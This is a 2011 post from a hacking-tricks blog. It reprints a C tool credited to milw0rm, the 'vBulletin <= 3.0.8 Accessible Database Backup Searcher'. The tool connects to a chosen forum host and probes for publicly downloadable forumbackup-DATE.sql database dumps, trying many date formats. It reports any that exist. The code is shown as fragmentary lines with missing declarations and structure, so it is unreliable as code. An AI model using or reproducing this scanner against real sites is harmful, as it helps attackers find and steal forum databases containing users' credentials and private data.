Saturday, August 6, 2011
static char datestring[40]; |
ttt=time(NULL)- minustime; |
strftime (datestring, sizeof(datestring), "%m-%d-%Y", localtime(&ttt)); |
printf("Searching: forumbackup-%s.sql\n", datestring); |
static char datestring[40]; |
ttt=time(NULL)- minustime; |
strftime (datestring, sizeof(datestring), "%Y-%d-%m", localtime(&ttt)); |
printf("Searching: forumbackup-%s.sql\n", datestring); |
static char datestring[40]; |
ttt=time(NULL)- minustime; |
strftime (datestring, sizeof(datestring), "%d-%m-%Y", localtime(&ttt)); |
printf("Searching: forumbackup-%s.sql\n", datestring); |
static char datestring[40]; |
ttt=time(NULL)- minustime; |
strftime (datestring, sizeof(datestring), "%m.%d.%Y", localtime(&ttt)); |
printf("Searching: forumbackup-%s.sql\n", datestring); |
static char datestring[40]; |
ttt=time(NULL)- minustime; |
strftime (datestring, sizeof(datestring), "%Y.%d.%m", localtime(&ttt)); |
printf("Searching: forumbackup-%s.sql\n", datestring); |
static char datestring[40]; |
ttt=time(NULL)- minustime; |
strftime (datestring, sizeof(datestring), "%d.%m.%Y", localtime(&ttt)); |
printf("Searching: forumbackup-%s.sql\n", datestring); |
static char datestring[40]; |
ttt=time(NULL)- minustime; |
strftime (datestring, sizeof(datestring), "%d%m%Y", localtime(&ttt)); |
printf("Searching: forumbackup-%s.sql\n", datestring); |
main(int argc, char *argv[]) { |
char buffer[1000],host[255],path[255],dog[255],c; |
struct sockaddr_in localAddr, servAddr; |
"Accept-Language: en-us,en;q=0.5\r\n" |
"Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n" |
"User-Agent: we want your backups - milw0rm\r\n" |
"Connection: close\r\n\r\n"; |
printf("vBulletin <= 3.0.8 Accessible Database Backup Searcher /str0ke ! milw0rm.com\n"); |
printf("usage: %s -h hostname/ip -p /path/ \n",argv[0]); |
while ((c = getopt (argc, argv, "h:p:")) != EOF) |
strncpy(host,optarg,sizeof(host)); |
strncpy(path,optarg,sizeof(path)); |
printf("Unknown Host '%s'\n",host); |
printf("Trying To Connect To [%s]\n",host); |
servAddr.sin_family = h->h_addrtype; |
memcpy((char *) &servAddr.sin_addr.s_addr, h->h_addr_list[0], h->h_length); |
servAddr.sin_port = htons(SERVER_PORT); |
sd = socket(AF_INET, SOCK_STREAM, 0); |
perror("Can Not Open The Socket\n"); |
localAddr.sin_family = AF_INET; |
localAddr.sin_addr.s_addr = htonl(INADDR_ANY); |
localAddr.sin_port = htons(0); |
rc = bind(sd, (struct sockaddr *) &localAddr, sizeof(localAddr)); |
printf("%d: cannot bind port TCP %u\n",sd,SERVER_PORT); |
rc = connect(sd, (struct sockaddr *) &servAddr, sizeof(servAddr)); |
perror("cannot connect\n"); |
memset(buffer,0,sizeof(buffer)); |
snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1\r\nHost: %s\r\n%s",path,getdate(i),host,http); |
snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1\r\nHost: %s\r\n%s",path,getdate2(i),host,http); |
snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1\r\nHost: %s\r\n%s",path,getdate3(i),host,http); |
snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1\r\nHost: %s\r\n%s",path,getdate4(i),host,http); |
snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1\r\nHost: %s\r\n%s",path,getdate5(i),host,http); |
snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1\r\nHost: %s\r\n%s",path,getdate6(i),host,http); |
snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1\r\nHost: %s\r\n%s",path,getdate7(i),host,http); |
rc = send(sd,buffer, strlen(buffer), 0); |
memset(buffer,0,sizeof(buffer)); |
rc=recv(sd,buffer,sizeof(buffer),0); |
if(strstr(buffer,"404")) break; |
if(strstr(buffer,"200 OK")) |
printf("Database backup found: %s%sforumbackup-%s.sql\n", host, path, getdate(i)); |
printf("Database backup found: %s%sforumbackup-%s.sql\n", host, path, getdate2(i)); |
printf("Database backup found: %s%sforumbackup-%s.sql\n", host, path, getdate3(i)); |
printf("Database backup found: %s%sforumbackup-%s.sql\n", host, path, getdate4(i)); |
printf("Database backup found: %s%sforumbackup-%s.sql\n", host, path, getdate5(i)); |
printf("Database backup found: %s%sforumbackup-%s.sql\n", host, path, getdate6(i)); |
printf("Database backup found: %s%sforumbackup-%s.sql\n", host, path, getdate7(i)); |
memset(buffer,0,sizeof(buffer)); |
}
- Copyright ©
.Hacking Cracking Tricks And Tutorials, Paid Scripts, Latest Exploits, 0Day Vulnerability, - Skyblue - Powered by Blogger - Designed by Johanes Djogan -